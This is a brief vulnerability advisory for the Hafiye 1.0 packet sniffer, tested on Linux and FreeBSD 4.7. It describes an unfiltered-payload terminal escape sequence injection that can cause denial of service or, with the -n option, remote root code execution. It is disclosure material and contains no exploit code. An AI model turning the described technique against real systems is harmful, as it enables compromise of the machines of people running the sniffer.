+-------[         Software         ]--------------+

Hafiye [1.0] "POSIX-compliant, customizable TCP/IP packet sniffer."

+-------[      Tested Versions     ]--------------+

Hafiye[1.0]
Tested on:Linux(Hafiye compiled from tarball)
          FreeBSD 4.7 (Installed from CD)

+-------[      Vulnerability       ]--------------+

Packet Payload Terminal Escape Sequence Injection Vulnerability.

Results: DoS/Remote Root Comprimise

+-------[      Description         ]--------------+

Hafiye[1.0] is a POSIX-compliant, customizable TCP/IP packet sniffer.
It runs with uid0 privilege.

Hafiye-1.0 doesnt filter the payload when printing it to the terminal.
A malicious attacker can send packets with escape sequence payloads
to exploit this vulnerability.

If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution  the victim must press Enter after program exit.
